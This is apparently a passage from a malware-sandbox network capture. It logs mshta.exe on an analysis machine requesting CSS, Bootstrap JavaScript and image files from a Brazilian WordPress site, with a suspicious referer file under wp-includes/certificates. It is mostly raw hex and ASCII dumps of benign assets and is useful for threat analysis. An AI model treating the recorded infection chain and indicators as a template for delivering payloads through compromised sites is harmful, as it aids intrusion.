20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 31 3b 0a 7d 0a 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 61 66 61 66 61 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 31 32 31 30 70 78 3b 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 37 36 34 70 78 3b 20 7d 0a 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 09 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 0a 7d 0a 2e 6c 6f 67 6f 20 7b
                                                                                      Data Ascii: body { position:relative; }.ie8 body { min-width:980px; }@media (max-width: 767px) {body.cherry-fixed-layout {padding-left:0 !important;padding-right:0 !important;}}@media (max-width: 767px) {body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {padding-left:20px;padding-right:20px;}}body[class*="span"] {position:static;float:none;min-height:inherit;margin-left:inherit;}a { outline:none; }a:focus { outline:none; }.main-holder {position:relative;z-index:1;}.cherry-fixed-layout .main-holder {margin:0 auto;max-width:980px;width:auto;background:#fafafa;}@media (min-width: 1200px) {.cherry-fixed-layout .main-holder { max-width:1210px; }}@media (min-width: 768px) and (max-width: 979px) {.cherry-fixed-layout .main-holder { max-width:764px; }}.header {position:relative;z-index:99;padding:30px 0;border-bottom:1px solid #DDD;background-color:#eee;}.logo {
                                                                                      Aug 16, 2022 11:39:40.528222084 CEST2360OUTGET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:40.762111902 CEST2370INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:15 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a52fb8-7054-58592f4b86d40"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:38:21 GMT
                                                                                      Content-Length: 28756
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21188604 20383098
                                                                                      Age: 145
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 2a 0a 2a 20 42 6f 6f 74 73 74 72 61 70 2e 6a 73 20 62 79 20 40 66 61 74 20 26 20 40 6d 64 6f 0a 2a 20 70 6c 75 67 69 6e 73 3a 20 62 6f 6f 74 73 74 72 61 70 2d 74 72 61 6e 73 69 74 69 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 6d 6f 64 61 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 64 72 6f 70 64 6f 77 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 73 63 72 6f 6c 6c 73 70 79 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 61 62 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 6f 6f 6c 74 69 70 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 70 6f 70 6f 76 65 72 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 66 66 69 78 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 6c 65 72 74 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 62 75 74 74 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 6f 6c 6c 61 70 73 65 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 61 72 6f 75 73 65 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 79 70 65 61 68 65 61 64 2e 6a 73 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 2e 74 78 74 0a 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 62 6f 6f 74 73 74 72 61 70 22 29 2c 62 3d 7b 57 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 3a 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 54 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 4f 54 72 61 6e 73 69 74 69 6f 6e 3a 22 6f 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 20 6f 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 7d 2c 63 3b 66 6f 72 28 63 20 69 6e 20 62 29 69 66 28 61 2e 73 74 79 6c 65 5b 63 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 20 62 5b 63 5d 7d 28 29 3b 72 65 74 75 72 6e 20 61 26 26 7b 65 6e 64 3a 61 7d 7d 28 29 7d 29 7d 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 2c 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 63 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 61 28 62 29 2e 64 65 6c 65 67 61 74 65 28 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 6d 6f 64 61 6c 22 5d 27 2c 22 63 6c 69 63 6b 2e 64 69 73 6d 69 73 73 2e 6d 6f 64 61 6c 22 2c 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 68 69 64 65 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 74 65 26 26 74 68 69 73 2e 24 65 6c 65 6d 65
                                                                                      Data Ascii: /*** Bootstrap.js by @fat & @mdo* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js* Copyright 2012 Twitter, Inc.* http://www.apache.org/licenses/LICENSE-2.0.txt*/!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$eleme
                                                                                      Aug 16, 2022 11:39:40.769334078 CEST2400OUTGET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:41.010283947 CEST2420INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:35:18 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a54b42-573c-58592e472c700"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:33:48 GMT
                                                                                      Content-Length: 22332
                                                                                      Content-Type: image/png
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21188606 22394920
                                                                                      Age: 262
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 87 00 00 00 cb 08 06 00 00 00 1c 11 39 dc 00 00 20 00 49 44 41 54 78 9c ec 9d 79 7c 54 d5 fd f7 3f df 3b 4b 26 0b 21 84 24 84 10 03 01 8a 80 11 01 23 4b 40 01 7f 6e 45 02 82 82 16 65 d3 56 6c ad b5 b5 2e b5 fe fa f0 e2 f1 69 ad b5 d6 da cd 52 6b 21 c1 15 5c d8 a5 2e c5 85 04 84 88 a8 28 8a 2c 21 04 08 49 08 21 64 99 f5 7e 9f 3f 66 a8 49 66 c9 3d 77 ee 64 26 c9 79 bf ea 8b 57 ef 3d e7 dc 33 4b e6 7e ee 77 05 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 83 a1 68 6f 20 56 d9 c6 6c b6 95 57 65 5b 40 99 4c 4a 2a 88 d3 18 94 aa 80 6d 0c c4 03 00 33 cc 44 70 83 c9 c5 84 46 62 34 aa ac d6 9a 14 aa 85 aa d4 9e 43 63 f9 b4 dc 5c 7b b4 5f 8b 44 22 91 48 24 12 89 56 7a bc 38 dc 7b f2 64 82 d3 a1 8c 06 29 79 00 5f 0c 70 1e 40 83 89 39 1b 44 8a 01 97 a8 66 e0 30 31 be 02 e1 53 86 ba cf 6c 51 f7 8e cd ca aa 35 60 6d 89 44 22 91 48 24 12 43 e9 71 e2 f0 a3 ca ca 54 93 c7 7a a5 0a 4c 01 b8 80 18 a3 0d 12 81 62 30 1f 64 50 29 03 1f 32 3c ef 4c 18 d4 bf bc d3 f7 20 91 48 24 12 89 44 d2 8e 1e 21 0e 77 57 54 e5 81 69 2e 83 ae 01 f3 38 8a 86 18 ec 08 e6 03 4c d8 ca cc eb 8f 0e ec f7 de 3c 22 35 da 5b 92 48 24 12 89 44 d2 f3 e8 b6 e2 b0 ec 48 cd 70 55 51 6f 25 60 1e 40 c3 a2 bd 1f 11 98 51 0b f0 eb 50 e8 85 71 39 19 1f 44 7b 3f 12 89 44 22 91 48 7a 0e dd 4a 1c ee 3d 79 32 c1 e1 54 e6 11 e8 07 04 14 44 7b 3f 46 c0 8c c3 20 7e 96 55 ac 1a 9f db af 2a da fb 91 48 24 12 89 44 d2 bd e9 16 e2 b0 b4 a2 36 cb ac aa f7 00 7c 17 11 a5 84 b3 96 ca 8c ea ba 66 9c a8 6d c2 e9 86 16 d4 9d b3 a3 a1 d9 85 06 bb 13 2d 2e 0f 1a 5d 1e 34 b9 3c 50 99 01 00 16 45 81 cd ac 20 c9 62 82 cd 62 42 6f 9b 15 c9 09 16 a4 24 c5 21 bd 77 02 b2 d2 12 91 de 27 01 26 25 bc b7 9a c1 6e 02 bd ac aa fc e4 f8 dc 7e 7b c3 5a 4c 22 91 48 24 12 89 24 08 5d 5a 1c 7e 5c 71 6a a8 aa d2 23 4c 7c 1b 81 cc a2 f3 99 19 47 4e 36 e0 d0 f1 7a 1c ad 39 87 6f 6a 1a f1 59 63 0b 1a 54 36 74 9f 49 44 18 9b 1c 8f dc be 49 18 98 de 0b df c9 4e 41 6e ff 64 10 e9 7b fb 19 fc 1f 52 95 47 2f cb 4d 7f cf d0 8d 4a 24 12 89 44 22 e9 f1 74 49 71 b8 eb 68 d5 60 b0 b2 8c c0 b7 89 66 1a d7 d6 b7 60 cf 81 6a 7c 59 79 06 bb ab cf a2 dc e5 89 d4 36 43 32 c8 62 c2 a5 e9 c9 b8 64 60 5f 8c fe 4e 3a fa f6 8e 17 5f 84 f9 03 62 7e 28 3f 37 73 a7 f1 3b 94 48 24 12 89 44 d2 13 e9 52 e2 70 e7 81 da 64 25 4e 7d 04 e0 9f 12 c8 aa 75 de a9 ba 66 94 7e 71 12 65 e5 b5 78 af be 29 92 5b d4 cd 94 94 04 4c c8 4d c7 c4 bc 2c a4 a7 08 0b c5 d7 19 ea 03 e3 06 66 1e 8e c4 de 24 12 89 44 22 91 f4 1c ba 8c 38 dc 5d 5e fd 7d 06 1e 23 42 9a 96 f1 0e a7 1b a5 fb 4e 62 fb d7 55 d8 5a 7b 2e d2 db 33 0c 2b 80 2b d3 7a 61 ea c8 2c 4c b8 28 13 16 b3 49 d3 3c 06 3b 01 fa a3 62 76 2d cf 1f 30 a0 39 b2 bb 94 48 24 12 89 44 d2 5d 89 79 71 b8 eb 70 cd 30 52 d4 67 41 74 85 96 f1 d5 67 9a f1 ee
                                                                                      Data Ascii: PNGIHDR9 IDATxy|T?;K&!$#K@nEeVl.iRk!\.(,!I!d~?fIf=wd&yW=3K~w$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$ho VlWe[@LJ*m3DpFb4Cc\{_D"H$Vz8{d)y_p@9Df01SlQ5`mD"H$CqTzLb0dP)2<L H$D!wWTi.8L<"5[H$DHpUQo%`@QPq9D{?D"HzJ=y2TD{?F ~U*H$D6|fm-.]4<PE bbBo$!w'&%n~{ZL"H$$]Z~\qj#L|GN6z9ojYcT6tIDINAnd{RG/MJ$D"tIqh`f`j|Yy6C2bd`_N:_b~(?7s;H$DRpd%N}uf~qex)[LM,f$D"8]^}#BNbUZ{.3++za,L(I<;bv-09H$D]yqp0RgAtg


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      25192.168.2.349781187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:48.353312016 CEST2696OUTGET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:48.568320036 CEST2740INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:35:25 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53864-d9abf-58592d61568c0"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:47 GMT
                                                                                      Content-Length: 891583
                                                                                      Content-Type: image/jpeg
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929794 15664773
                                                                                      Age: 263
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: ff d8 ff e1 0d 82 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1c 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 8e 87 69 00 04 00 00 00 01 00 00 00 a4 00 00 00 d0 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 00 32 30 31 34 3a 30 39 3a 30 39 20 31 31 3a 32 39 3a 34 39 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 08 a0 a0 03 00 04 00 00 00 01 00 00 04 7e 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 1e 01 1b 00 05 00 00 00 01 00 00 01 26 01 28 00 03 00 00 00 01 00 02 00 00 02 01 00 04 00 00 00 01 00 00 01 2e 02 02 00 04 00 00 00 01 00 00 0c 4c 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 01 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 53 00 a0 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f2 d0 1b 06 66 7b 42 50 13 ca 65 60 2d 54 24 92 52 8a 92 55 b0 87 07 10 dd 24 13 e2 3e 48 b4 3e a6 89 77 b9 d3 01 9d b8 fa 45 ca b4 a2 d2 fa 98 e0 f7 82 63 80 d8 1f f5 41 c9 20 87 a2 e9 ce c3 a1 8c c9 77 e6 38 1b 76 92 1d b4 7f a3 a9 e6 bd de ff 00 e5 2d da fe b7 f4 ed d4 0d 8e 63 43 40 75 61 bb 98 09 fa 5f a4 30 ff 00 d1 ae 1a cc d6 ba 0b 77 82 01 d1 c4 1d 4f c3 67 f9 c9 1c c2 f0 0d 92 e7 31 a1 ad 92 48 8f 99 f6 a2 24 b0 c2 fa
                                                                                      Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop CS5 Windows2014:09:09 11:29:49~&(.LHHAdobe_CMAdobedS"?3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw?f{BPe`-T$RU$>H>wEcA w8v-cC@ua_0wOg1H$
                                                                                      Aug 16, 2022 11:39:48.568423986 CEST2742INData Raw: 3e 83 6e 57 d5 be b5 53 68 bc 34 ef 90 d9 d1 cd 33 fe 0d ff 00 49 9f f5 0b 94 eb ff 00 55 32 3a 60 39 38 e4 e5 60 ce b6 01 ee 64 fe 6d d1 ff 00 56 b3 71 b2 cd 4f 6b e3 70 04 12 c3 20 18 fe af bb fc d5 da 74 5e bf d3 c1 8a ed b2 82 41 9a af db 6b
                                                                                      Data Ascii: >nWSh43IU2:`98`dmVqOkp t^Ak\?)S,fPou]/8TzDd1&{k-PO3(X@N}RV0uR4GdiSmW=G*[T@Fs<P9<+KxKiFlRN44N
                                                                                      Aug 16, 2022 11:39:48.568624020 CEST2743INData Raw: 89 73 58 d6 19 d0 b2 40 92 67 45 27 fa 5e 91 b1 b6 4b b4 68 0e 00 18 db 27 d8 dd ff 00 45 de c6 59 b9 09 95 ba c2 43 01 3b 41 73 88 13 0d 1f 49 ee 85 07 19 3f 0d 02 04 f6 4a a4 94 a5 34 a4 95 95 32 07 9f c5 22 64 cf 1a f6 51 52 de 36 86 c0 e6 77
                                                                                      Data Ascii: sX@gE'^Kh'EYC;AsI?J42"dQR6ww'L0u#nuD;i-nUNi`32\7vcavtl+K}i7PP}Qs7=%~eTfUt#cAok~df;3Y{kT
                                                                                      Aug 16, 2022 11:39:48.568756104 CEST2750INData Raw: 54 00 00 00 01 00 00 00 38 42 49 4d 04 3b 00 00 00 00 01 b2 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 12 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00
                                                                                      Data Ascii: T8BIM;printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd doub@oGrn doub@o
                                                                                      Aug 16, 2022 11:39:48.568850994 CEST2755INData Raw: 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 04 7e 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 08 a0 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00
                                                                                      Data Ascii: Top longLeftlongBtomlong~RghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXThorzAlignenumESliceHorzAligndefaultvertAlignenum
                                                                                      Aug 16, 2022 11:39:48.568949938 CEST2761INData Raw: 16 d5 d8 53 6d 57 3d 12 04 47 2a 0e aa 12 a5 5b 54 b6 13 40 46 73 3c 94 0b 50 a4 82 ff 00 ff d0 f2 e4 a1 39 11 ce 89 08 3c 2b 4b 16 84 8a 78 4b 69 46 95 6c 52 82 9e 07 90 4e d6 92 0b 84 34 34 4e bd f5 ff 00 aa 42 93 6c 61 17 65 7e 98 2d 27 78 9d
                                                                                      Data Ascii: SmW=G*[T@Fs<P9<+KxKiFlRN44NBlae~-'x10[\nJv16,AkRaNAhZk{~{XH|:6Ctnv=N/NE'tN`V^we.ug>*
                                                                                      Aug 16, 2022 11:39:48.568974018 CEST2763INData Raw: a7 73 1c 7f 37 de e7 db fa 3d ec ff 00 83 fd cb 25 d3 7e b4 65 54 f1 66 55 c2 d2 e0 09 74 82 e0 23 63 41 6f e6 ed 6b 7f 9b ff 00 06 b0 7e ad 64 16 66 9c 3b 33 ab c0 c3 be 59 7b ef 6b 9f 54 e8 fa f7 d5 35 b9 9f a4 63 3f 4b ea 57 e9 ae cb ad 59 d1
                                                                                      Data Ascii: s7=%~eTfUt#cAok~df;3Y{kT5c?KWYzuo7WN{\UXMVH;h}K_DH{v9ncGU/lp.pZ=\9tRj8kA--p~glbW-7v{Y_/VqcVw
                                                                                      Aug 16, 2022 11:39:48.569032907 CEST2764INData Raw: 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e
                                                                                      Data Ascii: -ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xml
                                                                                      Aug 16, 2022 11:39:48.569137096 CEST2765INData Raw: 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                      Data Ascii: DF> </x:xmpmeta>
                                                                                      Aug 16, 2022 11:39:48.569320917 CEST2767INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                      Data Ascii:
                                                                                      Aug 16, 2022 11:39:48.784487963 CEST2768INData Raw: 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 64 65 73 63 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 65 63 2e 63 68 00 00 00 00 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e
                                                                                      Data Ascii: XYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space -
                                                                                      Aug 16, 2022 11:39:49.892832041 CEST3746OUTGET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
